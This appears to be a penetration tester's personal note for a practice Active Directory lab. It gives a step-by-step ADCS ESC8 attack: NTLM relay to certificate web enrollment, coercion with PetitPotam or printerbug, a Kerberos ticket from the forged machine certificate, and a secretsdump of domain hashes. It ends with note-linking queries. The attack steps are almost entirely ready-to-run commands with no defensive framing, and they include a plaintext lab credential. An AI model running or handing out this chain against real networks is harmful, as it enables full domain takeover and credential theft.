Coercion to ADCS ESC8 Compromise

Technique Info

Step One - Start ntlmrelayx

Command

ntlmrelayx.py -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Step Two - Trigger Coercion

With PetitePotam.py

Command

petitpotam.py 192.168.56.1 meereen.essos.local

With printerbug.py

Download https://github.com/decoder-it/printerbugnew

Command

python3 printerbug.py north.sevenkingdoms.local/arya.stark:Needle@kingslanding.sevenkingdoms.local winterfell

Example

Step Three - Get TGT with gettgtpkinit.py

Command

gettgtpkinit.py -pfx-base64 $(cat cert.b64) 'essos.local'/'meereen$' 'meereen.ccache'

Step Four - Set Environment Variable

Command

export KRB5CCNAME=/workspace/esc8/meereen.ccache

Step Five - Use Ticket to Dump with secretsdump.py

Command

secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local

Related

Related Notes

All Related Notes

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows") OR contains(tags, "active-directory") OR contains(tags, "adcs") OR contains(tags, "initial-access") OR contains(tags, "coercion")
SORT file.ctime DESC

windows

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows")
SORT file.ctime DESC

active-directory

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "active-directory")
SORT file.ctime DESC

adcs

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "adcs")
SORT file.ctime DESC

initial-access

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "initial-access")
SORT file.ctime DESC

coercion

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "coercion")
SORT file.ctime DESC